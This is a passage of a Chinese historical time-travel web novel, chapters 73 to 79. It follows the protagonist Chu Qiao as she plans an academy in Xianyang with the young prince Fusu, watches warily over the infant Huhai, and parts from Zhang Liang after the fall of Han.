睡吧，睡吧，在妈妈温柔的怀抱里。
楚荍轻轻哼唱着歌谣，直到扶苏沉沉入睡。
她抽出被扶苏紧握着的手，将他的手塞进被子，然后掖好。
起身吹灭最后一盏油灯，整个房中瞬间陷入黑暗，悄声无息。楚荍脸上柔和的笑容随着光亮的消失，也立马消失不见。
房内的暖气烧的很足，楚荍手忙脚乱地扯松衣领，她快要窒息了。
关上门后，她靠着门大口大口喘着粗气。相熟的宫人向她投来担忧的目光，她牵起一个比哭还难看的笑，“房里太闷了。”
楚荍慌乱地逃出房间，贪婪地呼吸着外面冰凉但新鲜的空气。
晚上她和扶苏谈了很久关于他想建学校的想法，讨论出了个轮廓。无论是建学堂，还是建规模更大的学校，都不是件容易的事。更别说扶苏的野心还更大。
但整晚，楚荍都在担心另一个问题——胡亥。
虽说胡亥现在还是个婴儿，不能对扶苏造成任何威胁。但如果真是如此，那为什么那块“玄而又玄”的古玉会用这种方式提醒扶苏，扶苏会不会又像去年春天一样开始生病？又会不会出现别的意外？
一个一个问题紧紧缠住楚荍，让她无法呼吸。
她不敢想那个万一，却突然有种要打最终boss的紧迫感。
她得去见这个胡姬和胡亥一面，她必须得去见她们一面，不然她会因为悬在头顶的利剑而一直惴惴不安。
可怎么去见呢，她不能直接上门拜访。在其他人眼里，她的一举一动都是和扶苏高度绑定的。
如果她现在冒然拜访，肯定会引起别人的揣测。不然怎么别的公子公主没见她去过，到胡亥这还要专门去一趟。
楚荍感觉自己头又疼思绪又乱，她现在很后悔去年在宫内的时候没有发展一些自己的人脉，其实也不是，主要去年她很多人都带出宫了，现在想探查些事情都无人可用。
看来得找夏时商量一下，他在宫中能做的事比她多。而且以后这宫里，她要比以前来得更勤一点才行。
她在冰天雪地稍微把自己的思路整理清楚，那种今晚一
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直萦绕在她身上的窒息感才终于散去。
今天已经很晚了，所以楚荍直接在宫里睡了，然后去上的早朝。
等她到的时候，发现所有人都在盯着队列最前面，三三两两地在窃窃私语。
楚荍绕过去一看，下巴都要惊掉了，她瞪着眼睛走到蒙恬旁边，“蒙将军，前面那个是公子吗？”
她就说昨天公子在大王殿里待一下午，肯定不只是吃个晚饭。都怪她昨天听到胡亥名字就慌了神，竟然忘记问了。
蒙恬也同样惊讶地瞥了一眼楚荍，“你不知道？”
“不知道哇！”
楚荍自己也不可置信。原来政哥让公子回宫，是为了让他从官署学习回到他身边学习。
也是，要是学为君之道，自然要待在政哥身边。
不过，还是好甜啊啊啊啊啊！
要她说，公子真的永远是政哥心里的第一顺位吧！
如果不是那个意外，扶苏也会顺利继位。想想就给她美死了。
这次，她绝不会让历史再次重演。
这次，扶苏会拥有他完整的一生。
74.第七十四章 准备
扶苏站在百官最前列，自信从容，丝毫不怯。
任谁看了，也要叹一句“有子如此，夫复何求。”
众人本来还在揣测自家大王让公子上朝的用意，但是看大王那副当公子是空气的样子，也就歇了心思。这父子俩一天一个想法，谁知道他们要干什么。
反正现在公子还小，有人有些心思也都是白搭。
想清楚这点，众人也就不在专注于扶苏身上。
早朝上完，嬴政照例跟要臣议事。明年春秦国要准备攻打韩国，所以这个冬天的事务十分繁忙。
楚荍和扶苏虽然都参加了，但是基本是坐在里面旁听。扶苏还是第一次参加议事，自然以听为主。他边听边记，一场会开完，手上的小本子都要记满了。不知道还是他是会议记录员。
这是扶苏学习的方法，对于他不熟悉的事务，他喜欢先听、先记，然后在消化理解，融会贯通之后才会提出自己的看法。
会议开完后，扶苏留在了嬴政的书房。
见状，楚荍径直去了扶苏宫中，她还有很多事要忙。正好扶苏不在，她要去找夏时商量一下。
晚上，楚荍进宫，身边还带着个俊俏的少年郎。并没有多少人知道张良的身份，所以一路的宫人都好奇侧目。
夏时见到张良更是惊讶，没想到楚荍会把张良带进宫里。
“子房，这是公子的书房，你先坐会儿，公子应该待会儿就回来了。”楚荍环绕一圈，从架子上随手抽了本书出来塞到张良怀里，“你先看会儿。我还有点事，待会儿就过来。”
说完，她就拉着夏时走了。夏时对楚荍把张良单独留在扶苏书房的行为并不赞同。公子的书房平常他们都不能进，更惶谈把这个韩国人留在里面。
只见他皱着眉对一旁的宫人使个眼色，那宫人立马就端着点心和水走了进去。
楚荍见状没有阻拦，虽说她信任张良，但夏时这么做也并无不妥。她没必要在这点小事上浪费时间。
两人走到空旷的殿外，确认周围无人，才开始谈些正事。
“今天上午我拜托你探查的事怎么样了？”楚荍问。
夏时在脑中整理了一下他今天打听到的消息，轻声说道：“可用的信息很少。大王很少流连后宫，这个胡姬是去年打匈奴时掳过来的，美艳过人，得过大王一段时间的宠爱，所以很快也就怀孕，直至前几日诞下公子胡亥。”
“其它的呢，比如她的品行？”
“她性子火辣，有段时间仗着大王的宠爱，在后宫颇有些目中无人。不过她怀孕后被大王冷了下来，也就安分不少。”
闻言，楚荍点点头，原来是这样，“在她宫中安插眼线，这事难度大吗？”
“最近宫里要新进批宫人，可以运作一下。”夏时想了想后说道。这事要做起来，不算太难。
“做的干净点，别留尾巴。”楚荍眼睛看向远方，语气冷酷。她得提前做点准备，以防万一真的发生，而她手无寸铁。
“对了，不必要的时候，此事别告诉公子。”楚荍交代道。
闻言，夏时眉皱得更深，他还以为此事和公子和楚荍商量好，才交代去办的。
“我还以为公子知道此事？”
“公子有够多的东西去担心了，没必要让这些污秽的东西去打扰他。”楚荍扶着额头疼地说。这事不能让扶苏知道，她不可能说出未来的真相，所以这些揣测担忧她一个人承担就好。
“所以，为什么是他？”夏时问，眼里满是探究。大王那么多公子，为什么楚荍会去担心一个刚出生的婴儿。他需要一个理由去做这些事，更何况还是瞒着扶苏的情况下。
“这只是我的一些猜测，我在为一些不可预测的未来做准备，”楚荍苦笑，“又或许是，我过早的，杞人忧天？”她的话语微微扬起，却是对自己的嘲弄。
“你知道你是在答非所问吧？”夏时看向她的眼睛。
“我知道，”她回望过去，眼里的真诚足以打动每一个人，“所以，相信我，好吗？”
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对视中，夏时率先败下阵来。他叹了口，无奈地说道：“我知道了。”
就在此时，扶苏从嬴政宫中回来。他高兴地和两人打招呼。
“姑姑，你来了。”扶苏笑着招手。
楚荍应了一声，走上前牵住扶苏的手，“我还带了个惊喜来哦。”
“惊喜，什么惊喜？”
“马上你就知道了。”
见到张良的瞬间，扶苏确实又惊又喜。他没想到自家姑姑直接把张良给带了进宫。虽然昨天确实是他抱怨了一句“如果张兄在就好了”。
不知为何，扶苏总觉得张良和他的思想很契合，他们很多事情的看法都很类似，但他们又完全是两个不同的人。
所以很多时候，成为朋友这件事，真的是件十分玄妙的事。
这晚，他们几人就扶苏的想法又谈了很多，整晚写写记记，直到天明三人累到睡着。
房内的暖盆烧得很暖，手边和地上到处是散落的纸张。他们睡在厚厚的地毯之上，身上盖着毯子。
他们抵足而眠。
但他们并没有睡多久，可能半个时辰都不到，宫人就把扶苏和楚荍摇起来了。他二人还要上早朝。
扶苏倒是一叫就起来了，楚荍还磨蹭了好一会儿，用了十足的意志力，才掀开自己身上温暖的毯子起来洗漱。
这个房里，只有张良一个能赖床。而且他向来随性，就是在扶苏的书房，他也能没有任何心里芥蒂地熟睡。
宫人得了扶苏的交代，并没有叫张良，好让他好好休息。
但是在扶苏和楚荍走了之后，张良就睁开了眼睛。脸上还有着莫名红晕，也不知是热的，还是因为什么。
刚刚他被两人的动静吵醒，就发现自己的手挨着楚荍。轻轻的、悄悄的，甚至楚荍都没有察觉。而且在她翻身之后，这若即若离的触碰也立马消失不见。他下意识抬了下手，但很快就反应过来收回了手。
他还是第一次和女人一起睡觉，虽然三人都衣裳齐整。
75.第七十五章 黑锅
在很长很长一段时间内，这片土地上，读书都是一件奢侈而昂贵的事。
春秋战国时期，官学没落，私学兴起。
扶苏最开始关于建学堂的愿望很小，他只是想让他的弟弟妹妹出去看看，有多人想读书却没办法，而他们享受着顶级的资源却只是在浪费光阴。这才是他无法忍受的。
思路展开之后，他关于学校的设想逐渐复杂，这些设想犹如空中花园，美则美矣，却难以实现。为了让这些设想落地，他们一直讨论到新年前，才有了个大致的方案。
在这期间，扶苏每日下午会在嬴政书房帮他分奏章。现在，嬴政已经会让他批改一小部分简单的奏折。
他的学习能力很快，而且嬴政也很快发现自己这个最不听话、最离经叛道的大儿子有多好用。
通常，他只有晚上才有时间去思索自己那些杂乱的想法。张良来的次数不多，他们俩每次碰面基本会通宵，然后会各自分一分自己的工作，做完后再一起讨论。
这日，扶苏拿着他们的文章准备去和嬴政说明。
春耕结束就要打韩国，到时嬴政会比现在还忙。所以他想要这个方案先在嬴政那里过个眼，他得先预定一部分劳力财力。要是等韩国打下来了，他再去找父王要钱要人，到时僧多肉粥少，他能捞到多少东西可就说不准了。
先下手为强，才是亘古不变的道理。扶苏拿着自己文章心想。这还是他这大半年在各个官署学习中学到的，若需要财政拨款，比别人慢一步就是失之千里。
扶苏到嬴政书房时，李斯也在。他二人的谈话被扶苏打断。
“手上的是什么？”嬴政问。
“孩儿最近的文章。”扶苏笑着答道，将手上的文章呈了上去。
李斯见嬴政没有让自己走的意思，也就安心在椅子上继续坐着。
“公子勤勉，真是我秦国之福呀。”李斯夸道。
“李大人过誉了，这本是扶苏该做的。”
嬴政快速翻了一遍扶苏的文章，看完后挑眉笑了，他还以为这小子天天在他这待着终于是消停下来了，没想到是在捣鼓这些东西。
“你想要建学宫？”嬴政问，把手上的文章递给李斯。
“嗯，”扶苏点点头，“孩儿想着，既然齐国能有稷下学宫，那我秦国为什么不能有咸阳学宫呢。”
“六国皆鄙秦为虎狼之邦，弱文崇武。既如此，何不让他们看看，无论文武，秦国始终强于六国。”
听着扶苏的豪言壮语，嬴政来了兴趣，一手撑着下巴，一手食指轻轻敲着桌子，笑着问：“我看你这文章，可不只是想建座学宫这么简单。”
扶苏文章里，是一整套教育方法措施。
李斯在一旁翻着扶苏的文章，心中大惊，他一直知道扶苏很聪明，是天才。可就算是天才，也需要成长时间吧。这一套层层嵌套的教育机构和措施，真的是七岁小儿能想出来的吗？
而且这文章中扶苏展露出来的野心，才是真正让他心惊的地方。
“父王，这是我和姑姑还有张兄一起商讨出来的，还不成熟。但孩儿认为，教育乃国之根本，宜早不宜迟。”
听到扶苏说这套东西是和楚荍他们一起商量出来的，李斯这才松了口气。他就说，这套东西看着就像是楚荍的风格。
张兄？嬴政想了一下，才想起这人是谁。这段时间，张良好像来过几次宫里。这个楚荍从韩国绑回来的小子，现在和扶苏走得很近。
“既然是还不成熟的想法，那为何现在拿给我看？”嬴政玩味地问。
被嬴政点中心事，扶苏难得红了红脸，“咳，孩儿想着，等韩国打下来之后，孩儿肯定能拿出一个成熟可行的方案，所以到时，还希望父王能多给孩儿分些劳力和
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钱财。”
闻言，李斯心里缓缓冒出一个问号，他以为扶苏还有一番豪言壮语，原来在这等着呢。
韩国都还没打呢，扶苏就已经惦记上这块肉了。
不行，既然公子要分走最大的一块，那他李斯作为大王近臣怎么也得分走第二块吧。回去他就起草奏章！
“你就这么确定，一定能打下韩国？”嬴政又问。
“当然，虽然孩儿不晓军事，但天下之势，孰强孰弱，孩儿还是能分得清的。”扶苏理所当然地说道，“况且，有李大人、有蒙叔、王爷爷在，还有父王的坐镇调度运筹帷幄，这场仗想输都难吧。”
见扶苏在那眨巴着眼睛，面不改色心不跳地拍马屁，嬴政大笑，“怎么，出宫这么久别的没学会，拍马屁倒是学会了？”
“孩儿难道说的难道不是事实吗？对吧，李大人？”
李斯突然被点名，赶紧笑着应道：“当然当然，有大王的带领，自然是无往不利。”
最后，嬴政也没说答应还是不答应，就把扶苏赶了回去。
不过扶苏还是很有信心的，到时他把可落实的方案拿出来，他不信父王不给他拨钱拨人。
翌日，常例会议上。嬴政当众答应了李斯的请求，手上是他昨晚连夜赶工出来的奏章。
房中其他几人目瞪口呆地看着李斯，这老匹夫韩国还没打下来呢就开始分肉喝汤？
等会议开完，众人都赶忙回去写自己官署的报告。
哼，不能怪他们太急，再慢一点，他们连汤都喝不上了！
于是，年末，秦国官员被迫卷了起来。
而这一切的始作俑者浑然不知，李斯对自己背了这个黑锅表示良好。
他微笑着，又不是第一次了，有什么关系呢，哼哼。
这偌大的朝堂之上，根本就没人关心他啊啊啊！他欲哭无泪！
76.第七十六章 禁足
“小七，去马房牵辆马车，我们今天去韩先生那里。”张良在里屋喊道。
天很阴沉，从昨晚开始就不停地飘着小雪。云层很低，灰蒙蒙的一片，仅仅是站在原地抬头望，就感觉天似乎要掉下来，压得人晕眩、喘不过气。
张良梳洗好后，从里屋走出来，就看到小七一脸苦涩地站在门口，望向他的眼神甚至还带着一丝对他的怜悯。他立马就意识到有什么事情要发生。
小二和小七是当初把他从韩国绑来的卫兵，这段时间看起来二人成了他寸步不离的侍卫，但本质还是对他的监视。
“发生什么了？”张良走上前询问，脸色沉了下来。
只见小二和小七对视一眼，小七摇摇头，“抱歉，张公子，从现在开始，你不能离开府里。”
哼，张良冷笑一声，这几个月心中积攒的愤怒瞬间被点燃，他愤怒地冲出房间，想要去找楚荍要个说法。
小二和小七眼疾手快地一人拉住张良的一只胳膊，“公子......”
“怎么，不是不让出府，现在连房间也不让出了？”张良语气冷漠地问道，语气里满是对他们的嘲弄。
此言一出，小二和小七才放开了拉着张良的手。但仍然亦步亦趋地跟着他。
张良怒气冲冲地走到楚荍书房，中途他甚至因为走得太急摔了一跤。瞬间，他就变成了那个在异国他乡狼狈的陌生人。
砰的一声，他恶狠狠地推开楚荍的房门。她书房门没锁。
与外面的天寒地冻相比，房内温暖如春，
楚荍躺在贵妃榻上，毯子只盖到了腰部以下的位置。她两只手散落在外面，拿着书的露出一截洁白的小臂。可能是屋里太热，领口在睡梦中被她扯松，丝绸光滑的绸缎滑落，露出胸口的亮白。
楚荍被这巨大的声响弄醒，她惺忪地睁开睡眼，从贵妃榻撑起身子，看清来人之后才轻轻喊了一声子房。
张良被楚荍这一声子房给叫回神，唰的一下背过身。
他刚刚那样直勾勾地盯着楚荍，实非君子所为。
楚荍从贵妃榻上坐起，披上毯子把自己裹了个严实。刚睡醒，还有点冷。而且张良没关门，暖气都跑出去了。
“子房，门关一下，冷。”楚荍喊道。
张良反应过来，立马又把门关上。他深吸口气，这才再转过身。
看到楚荍拿毯子把自己裹得严严实实的，悄悄在心里
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松了口气。
楚荍刚睡醒，显然还没意识到张良的情绪有什么不对，她呆呆地问：“子房，你脸怎么这么红，这里面太热了吗？”难怪刚刚不关门，楚荍自己跟自己解释。
心事突然被点破，张良吓得被自己口水呛到，他顺着楚荍的话点点头，止不住咳嗽了好几声。
楚荍起身走到张良身边，拍着他的背给他顺气。随着楚荍的靠近，她身上淡淡的梅花香争先抢后地钻进他的鼻子，挑动着他的心弦。她以前身上也有香味吗？张良止不住地想。
他恼羞成怒地拍掉楚荍搭在他肩膀上手，语气尖锐，“我被禁足了，你知道吗？”
“禁足？”楚荍有些惊讶地重复一遍，但很快就反应过来这是什么意思。
春耕后秦国就要攻韩，现在年节都还在马不停蹄坐着准备，张良这么敏锐的人，很快就会发现。所以，嬴政为了万无一失，他不会要了他的姓命，然后自由却被剥夺。
张良瞪着楚荍，半晌，却只从她嘴里听见一句抱歉。嬴政亲自下的命令，她也无可奈何。
“不必。”张良冷笑着说，转身离开。
楚荍站在原地看着张良离开的背影，她没有追上去。
77.第七十七章 离去
年节时分，宫中事务繁忙。
扶苏知晓此事后抽不出时间出宫，只好让人托了信给张良。
他在信中并未谈及此事，对张良而言，无论扶苏说什么，都不过是高高在上的刺耳之言。况且，那些安慰的话语，他和楚荍实在没有立场去说。
所以，他只在信中谈了他们的理想，他们要在咸阳建一座真正的学宫。既然无法安慰，那不如将精力投入到工作当中。
所幸，扶苏很快就收到了张良的回信。虽然和张良相处才几个月，但扶苏明白，张良不是那等无能狂怒，浪费时间之人。
春耕之后，秦国按计划攻打韩国。最终，韩王出城投降。仅仅三月，韩国亡。秦置颍川郡。
“他还是什么都没吃吗？”
楚荍看着小七又完整端出来的饭菜，叹了口气问道。
小七摇摇头，神情担忧，“已经两天一夜了，张公子把自己关在里面......”
韩灭的消息昨日刚传回国内，张良就把自己关进房里，谁也不见。
可这都两天一夜了，连口水都没喝，身体怎么受得住。楚荍在门外急的团团转，这样下去不行。
“子房，子房，我让人给你送壶热水进去吧，好歹喝一点。”她用力拍着房门。
里面的人还是没有任何回应，安静得让楚荍担心他是不是做了什么傻事。虽然他应该不会，但是万一呢？
楚荍忍不住去担心这个万一，就在她决定破门而入查看他是否安全的时候，门开了。
门内，张良头发披散，下颌冒了一圈淡青的胡茬，神情憔悴，眼里是布满的红血丝。
楚荍和他挨得很近，她刚刚还在拍门，手还停留在空中。她呼吸一滞，跌进他眼睛的漩涡。
悲痛、伤心、愤怒......决绝......
为什么会有决绝？楚荍的脑子突然卡住。然后她就听到张良说他要离开。
“我要走了。”张良的声音很平静，完全不像他的眼睛一样有那么多情绪。
许久，楚荍才找回自己的声音。
她听见自己说好。
“他要走？”嬴政拈着棋子，随意地问。
楚荍落下一子，点头称是。
“你答应了？养了这么久就这么轻易放他走了？”嬴政又问。
闻言，楚荍微微皱了皱眉，对嬴政这种好像把张良当成某种她圈养的宠物的语气感到不适。
哎，她轻轻叹口气，故作无奈地说：“最开始的时候我就答应他了，如果他要走，我不会拦着。”
“王上，您可不能让我食言呐。”
嬴政瞥了一眼楚荍，知道她是演给他看的，但还是被她那副矫揉造作的样子给逗笑，“哼，你倒是好心。不过一个张良，要走便走，值得你费这么多心思。”
“将军！”他毫不犹豫吃掉楚荍的“帅”棋。
见嬴政松口，楚荍连忙乘胜追击，“那我就当大王答应，放他走了！”
“陪我再下一盘再说吧。”
“是是是，陪大王下棋是我的荣幸，大王想下多少盘就行。”
楚荍喜上眉梢，没想到自己这臭棋篓子一般的棋法也有有用的一天，开开心心地就开始重新摆棋盘上的棋子。
当然，嬴政愿意放张良走的最重要原因还是因为，他在他眼里确实还只是个不入流的小人物。
七月天青，张良走的那日，天公不作美，从夜里就开始飘起了小雨。
扶苏突然有事在宫里绊住了，韩非没来，最后，只有楚荍一人送他。就如一开始也是她执意要将他绑来秦国。
两人穿着蓑衣，骑在马上，并肩漫步在田间地头。
马蹄声轻快，风吹麦浪，
“子房，还记得我问你的那个问题吗？”
“从你把我绑来到现在，问了有一万个问题了吧。”
“最开始的那个，你肯定还记得。”
在你心里，韩王与韩地之民，谁更重要。
两人在雨中相识一眼，就知道他们都懂了对方的意思。
“等你找到答案，来年麦子青时，就回来吧。”
楚荍扬起脸笑着对张良说，她现在明白她当时在张良眼里看到的那决绝是什么了——不舍。
虽只有不到一年的时间，但他依然对这个地方，对这个地方的人产生了感情。同样，韩国被灭之后，继续在这个地方，面对这个地方的人，度过的时间也是无法忍受的。
她明白。
所以她尊重张良的选择，但她依旧希望他会回来。
他们是朋友，不是吗？
雨越来越大，楚荍的发丝被打湿粘在额头上，她用着这样狼狈的模样，脸上的笑容却如雨后彩虹一样绚烂。
她真的是个很奇怪的女人，张良紧盯着她，一言不发。
风雨飘零之间，张良一扬缰绳，马蹄重重落下溅起泥水，身披蓑衣的背影越来越远。
楚荍牵着马立在原地，她只能送到这。
张良没有答应她的话，甚至没有给她留下只言片语。他就这样在风声雨声、电闪雷鸣之间沉默地离开了。
楚荍不知道她会不会回来，她不确定。
张良骑着马在风雨中驰骋，好像他成了那个水墨山河中的英雄。
没走出多远，张良在离秦的必经之路上看到了那个当初绑架他的卫兵——小七。
张良驾着马停下，看着他马上用油毡布盖上的行李，猜出几分他此行的意思。
“张公子，我无父无母，从小被人喊着小七小七，我以为这就是我名字。可现在我才明白，我想有个我自己的名字，我想去找到那个属于我的名字。”小七骑在马上对着张良喊。若他不大声点，这雨声怕就是要把他的声音盖去了。
这一年，他和张良朝夕相处。张良闲时教他读书写字，和他讲六国绮丽的风景。现在，他想自己去看看。他知道，张良要去找他自己的答案。
他无法留下他，所以他想，两个人搭个伴，他们或许都能找到自己想要的答案。
张良明白小七的意思，这么长时间相处下来，知道他心底良善。既然他想和自己一起离开，他也不会拒绝。
“走吧！”同样，张良也朝着小七喊。
他掉转马头，两人一起驰骋而去。
这场夏日的大雨连绵了几日，直到今日才终于放晴。罕见的，雨后出现了彩虹。
楚荍牵着扶苏走到院下，两人驻足在天蓝水净之下，享受这片刻的闲暇。
“公子，走吧，去跟大王再战一轮！”楚荍伸了个大大的懒腰，活动一下她熬了一整夜僵硬的身体。
“姑姑，你说这会儿张兄他们走到哪了？”扶苏抬头问。
“这已经是第三天了，说不定已经到颍川郡了。”楚荍说道。
若她是张良，第一站肯定是回自己的故国看看。不过韩相一家已经随着俘虏迁到咸阳，如今应该还在路上，不知张良会不会去看看。她像张良保证过，她会保他一家平安。
楚荍知道那日扶苏没能来送
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张良，心里很是愧疚。她伸手拍拍扶苏的小脑袋，试图把那些沮丧的情绪给拍走。
“好了，走吧。”她重新牵住扶苏的手，带着他上了马车。
她们今日要接着去和嬴政讨论学宫和学堂落地的工作。
经过长久的讨论，最后他们决定，在咸阳城建造一座咸阳学堂和咸阳学宫。
最开始楚荍和扶苏所设想的义务教育肯定是实现不了，这是由这个时代生产力决定的，不由人的意志而改变。
所以最后他们的设想是咸阳学堂招受七到十岁的学生，不限男女，进行启蒙教学，学制为五年。
这个年纪孩子，在家也只能帮父母干些杂事。便是最小的七岁学生，五年之后十二岁，若是会识字算数，能做的可就要比没读过书的十二岁小孩多得多。这个年代，小孩出来工作赚钱的年纪要比楚荍在的现代要早很多很多。
而在咸阳学堂读完五年之后，考试成绩优异者，可入咸阳学宫学习。
咸阳学宫学制为三年，三年后成绩优异者，可入官署实习。
换句话，只要你考上咸阳学宫，那就等于一脚踏入了仕途。以此来激励人们读书学习。
楚荍和扶苏想先现在咸阳，秦国的都城，发展最好的地方试试看。若是效果不错，那学堂的模式就可以推广到其他郡。然后将全国之才，乃至天下之才汇聚到咸阳学宫。最后通过在咸阳学宫的学习，反哺回各个地方。
这就是扶苏和张良，还有楚荍他们的大致设想。当然这其中还有许多细节要完善，而他们也一直在干这个事情。
终于，这个项目推进到了尾声。等到韩国的俘虏一到，就可以开始开工。
楚荍和扶苏来晚一步，嬴政的书房已经坐满了人。韩国攻下来之后，嬴政李斯他们的政务并没有减少，反而有不断增多的趋势。
宫人将他们领进来之后，嬴政挥挥手赐了座，就让两人加入了讨论。
一直忙到众人，吃饭的期间，众臣才能喘口气休息一下。
下午，其他人都回去了，只剩下楚荍和扶苏两人。
嬴政按着额头，头疼地朝两人伸出手，“怎么今天才来？东西改好了？”
“前日孩儿出宫之后雨越下越大，泥路难走，所以直到今天放晴才回来。”
扶苏看着嬴政的动作，心中担忧自家父王的身体，边解释边将改过的方案递到他手中。
“父王头疼，可要传太医来看看？”扶苏担忧地问。
“不用，只是这两日有些累了。”嬴政接过扶苏的方案快速翻阅了起来。
见状，扶苏也没有多劝。自家父王最讨论别人在他工作的时候不停地劝他注意身体。
等待会儿结束之后，一定要找太医来看看。便是按个头，缓解一下也是好的。扶苏在心中把此事记下。
没等嬴政把方案看完，就听宫人通报：胡亥公子身体有恙，请大王去看看。
闻言，嬴政皱着眉说：“病了就传太医，我又不能治病。”
楚荍在旁边一听，心想这胡姬段位确实不高，这已经是她第二次碰见胡姬用这个理由来找政哥了。好歹换个理由吧。不知道的还以为胡亥多体弱多病呢。
上次她在旁边跟着见过那个胡姬和襁褓之中的胡亥。怎么说呢，见过一次之后，她确实放心不少。
而且从夏时插进胡姬宫中的眼线传回的消息来看，这母女俩此时还没和赵高勾搭上。
不过既然胡姬想见政哥，那就让她见见，正好她和扶苏一起都去。
78.第七十八章 胡姬
“大王，既然胡亥公子病了，您还是去看看。”楚荍在一旁劝道。
“是啊，父王。”扶苏有些担忧地说，胡亥还小，这么小的孩子最怕生病了。“我跟您一起去。”
自从胡亥出生那晚，扶苏感觉到自己这个新弟弟不太喜欢自己之后，就没再去自讨没趣过。但现在胡亥生病，他这个做大兄的，自然要关心一下。
见楚荍和扶苏都这么说，嬴政也就没再坚持。胡亥还挺讨他欢心的。
“好吧，既然你们都这么说了，那就走吧。”嬴政起身，将手中的东西放下，“你们俩的方案我们晚点再讨论。”
很快，一行人就到了胡姬所在的宫苑。
宫苑不大，但很精巧。能看出装饰者的用心。
只见宫人传召之后，才见一绝美美人身着蓝色衣裙，不施粉黛，眼含泪水，天可怜见地从殿中出来迎接跪拜。
“大王！”胡姬直直冲向嬴政怀里，却只拜倒在他衣角之下。一声大王叫的人肝肠寸断。
胡姬是胡女，鼻梁高挑，眼眸深邃，身着蓝色华服又别有一番风味。不施粉黛清丽的脸庞和晶莹透亮的泪水相得益彰，更显其楚楚可怜。
唉，楚荍看着胡姬这一套丝滑小连招，心想别说是男人了，就是她，这样的肯为你花心思的美人谁看了不心软。
果然，嬴政见状扶起胡姬，柔声问起胡亥的病情。
入殿之后，正有太医在为胡亥诊治。
看着胡姬柔弱无骨一般依偎在嬴政身上，楚荍感觉她眼睛都要被闪瞎了。
扶苏倒是对这些熟视无睹，他走过去细细问起胡亥的病情，这才知胡亥这月已经病过两次。
“太医，胡亥是何病？竟一月病了两次。”扶苏问。
“回公子，小儿风寒，大抵是受凉引起的，不严重，但还得引起注意才行。”太医斟酌了一下，回答道。
“受凉？”嬴政推开胡姬，起身走到胡亥摇篮前，“如今这样的天气，为何会受凉？”
“如今虽天气炎热，但小儿多动。”太医拎起毯子的一角解释道，“这毯子有些厚了，夜晚毯子被踢掉后便会受风着凉。所以还是要多小心些，公子如今还小，身边不能离了人，要时刻盯着才好。”
“妾身明白了，都是妾身的错，才让胡亥遭罪。”说着，胡姬又哭了起来，顺势依偎在嬴政身上。
楚荍见状，深感她和扶苏该走了。人家你侬我侬的样子，他俩在这完全是碍事啊。
不过胡姬这看她的眼神是什么意思啊，她怎么觉得胡姬这眼神对她充满敌意呢。她依偎在嬴政身上，眼神却看向楚荍，还带着点挑衅。
楚荍觉得胡姬
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应该是搞错了什么，她应该防备不应该是扶苏吗？怎么防备起她来了。她跟政哥可是正当的君臣关系！争风吃醋可别殃及她这条池鱼。
虽说她在她宫里安插了眼线，但是如果胡姬不做什么话，她也什么都不会做。
她正准备喊扶苏先走的时候，就看见扶苏愣愣地站在胡亥摇篮前，一动不动地盯着胡亥，不知在想些什么。
“公子。”楚荍轻轻喊了一声，扶苏才回神。他收回被胡亥抓住的手指，匆匆向嬴政告别后就走了出去。
楚荍见状不对，连忙追了上去。“公子，怎么了？”
扶苏喘着粗气，惊恐地看向楚荍，“姑姑，我去年的病症，又出现了。刚刚，我越靠近胡亥，心里就越难受。”
楚荍立马明白了扶苏的意思，她猛得抱住扶苏，“没事的公子，以后这个地方我们再也不来了，再也不来了。”
两人离开之后，嬴政才感觉到有些奇怪。扶苏的状态不对劲。
另一边，楚荍哄着扶苏睡下。昨晚一晚没睡，扶苏很快就沉睡过去。
楚荍走出房间，关上门后才叹了口气，看来以后还是离胡亥越远越好。去年扶苏这病症也是离得远了就没事，最后也是因为和嬴政吵架才病倒。
现在胡亥一个小婴儿，只要远着点应该是不会有什么大碍。
79.第七十九章 张良一家
秋高气爽、天气转凉。近日韩国迁来的俘虏已经到达咸阳。楚荍和扶苏一空下来就去拜访张良一家。
楚荍提前就跟咸阳狱长程心打好招呼，张良一家所在的牢房还算干净。
“韩相，夫人。还要委屈你们在狱中多待几日，过几日时机成熟我便把你们接出去。”楚荍介绍完自己和扶苏的身份后，直接表明了自己的来意。
“韩相？哼，国已破家已亡，那来的韩相？”张平冷笑道，并没有给楚荍什么好脸色。
一边的张良的母亲张夫人倒是拉住张平，冷静地问道：“多谢长公子和楚姑娘的好意，只是不知公子和楚姑娘为何要帮我们？”
“我们和张兄是好友。”扶苏说道。
楚荍也解释道：“我们答应过子房，要保二位平安。”
闻言，张平在心里大吃一惊，面上却不显。那臭小子离家这么久就往家里寄了几封书信，说是去云游求学，竟然来了秦国，还和秦国长公子成了朋友！
骤然听闻张良的消息，她立马激动起来，全然没有刚刚的冷静。她走上前抓住楚荍的手，激动地问：“你们有良儿的消息？”
“子房云游四方在秦国待过一段时间，和我们成了好友。不过前段时间子房就又出发了，现在我们也不知道他在哪。”楚荍覆上张夫人冷冰冰的手，安慰道：“夫人您别担心，子房不会有事的。”
张良寥寥几封寄回家里的书信都是检查过的，他没有吐露过他在秦国的消息。
张夫人朝楚荍苦笑一声，抽出自己的手摇摇头，“多谢姑娘告知。”
她最了解自己的儿子，若是他前段时间才走，那短时间内他不会回来了。从前他在家便因为国事郁郁寡欢，如今韩国已灭，亡国之痛岂是短时间内能消解的。
从狱中出来之后，楚荍和扶苏便准备回格物府。
结果半路上马车竟然撞上了人。
车夫停稳马车，慌张地去扶跌坐在地上的男子。“您没事吧，撞到哪了？”
“怎么回事？”楚荍掀开车帘问。
“府长，这人走路不看路，手上拿着书，从那个拐角突然窜出来，就、就撞上了！”那车夫一脸惊慌地解释，真是这人自己不看路突然撞上来的。
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>楚荍和扶苏从车上下来，跟车夫一起把人一起扶了起来。在城里马车的车速不快，车夫也及时拉了缰绳，所以那人除了一些擦伤，倒是没什么大碍。
“实在不好意思，我没事，吓着各位了。”他摆手向众人道歉，“在下胡里，刚刚之事实在抱歉。是我走路看书没注意路，这才撞上了，与这位小兄弟无关。”
“你没事就好。”楚荍说道，“看阁下服饰，不是秦国之人？”
“哦，我是齐国人，才到秦国没几日。”胡里解释道。
他本是齐国一郡的小吏，如今到秦国，也是想奔个前程。
楚荍和扶苏见他谈吐不凡，相貌端正，便邀请他去格物府坐坐。后面又帮他谋得一县之长的位置这是后话不谈。
秋去夏来，学宫一事定下来之后建造的速度很快，如今已初具规模。
这日，楚荍带着一身疲惫从工地回来之后，看着田地里的青青麦浪，突然就想起了张良。
去年他离开时，她对他说，若是他找到答案，就在麦子青时回来。
如今麦子早早青了，却不见归人的身影。